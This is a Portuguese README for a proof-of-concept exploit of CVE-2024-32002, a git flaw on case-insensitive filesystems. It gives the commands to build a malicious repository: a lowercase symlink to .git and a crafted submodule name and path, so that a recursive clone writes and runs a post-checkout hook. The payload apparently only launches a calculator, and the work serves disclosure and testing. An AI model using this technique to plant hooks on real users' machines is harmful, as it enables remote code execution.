CVE-2024-32002 POC de RCE
Uma POC para CVE-2024-32002 demonstrando Execução Remota de Código (RCE).
Veja cve-2024-32002-poc-rce para o repositório de submódulo relacionado.
O que este repositório contém
- Um link simbólico com um nome arbitrário que aponta para o diretório
.git.
- Um arquivo
.gitmodules que define o submódulo malicioso.
Como recriar este repositório
Este repositório foi criado no Linux (WSL2, para ser específico). Isso é importante, o repositório malicioso só pode ser criado em um sistema de arquivos sensível a maiúsculas/minúsculas.
- Crie um link simbólico, usando apenas caracteres minúsculos
ln -s .git submodule
Notas:
- O link simbólico deve apontar para a pasta .git, pois é onde queremos escrever arquivos
- O nome do link simbólico (submodule) é arbitrário, mas deve começar com um caractere minúsculo
- Isso é importante, porque caracteres minúsculos são ordenados antes de caracteres maiúsculos. Quando a máquina que está clonando fica confusa sobre onde escrever os arquivos do submódulo, queremos que ela escolha o link simbólico e não um diretório normal.
- Adicione o submódulo malicioso, observando a diferença de maiúsculas/minúsculas no nome do diretório do submódulo
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Notas:
- O nome do submódulo ("rce/notexists") é importante, ele entrará em ação ao colocar nosso hook no submódulo.
- "rce" deve corresponder ao último segmento do caminho do submódulo.
- "notexists" deve corresponder ao nome do diretório que contém hooks/post-checkout no diretório do submódulo. Veja cve-2024-32002-poc-rce.
- A estrutura do caminho do submódulo ("Submodule/modules/rce") também importa:
- O primeiro segmento do caminho do submódulo ("Submodule") deve corresponder ao nome do link simbólico acima, diferindo apenas em maiúsculas/minúsculas.
- O segundo segmento ("modules") corresponde ao nome do caminho dentro do diretório
.git que rastreia o status do git para submódulos.
- O terceiro segmento ("rce") deve corresponder ao primeiro segmento do nome do submódulo acima.
Como executar a POC
Esta vulnerabilidade afeta apenas Windows e MacOS, pois ambos possuem sistemas de arquivos que não diferenciam maiúsculas de minúsculas.
- Verifique se você tem uma versão vulnerável do git. Veja o aviso do GitHub para versões afetadas.
git --version
- Pense se você conscientemente deseja executar um comando que poderia alcançar RCE... Este repositório é benigno, mas tem certeza?
- Execute o seguinte comando:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Se a POC funcionou, você deve ser capaz de fazer alguns cálculos!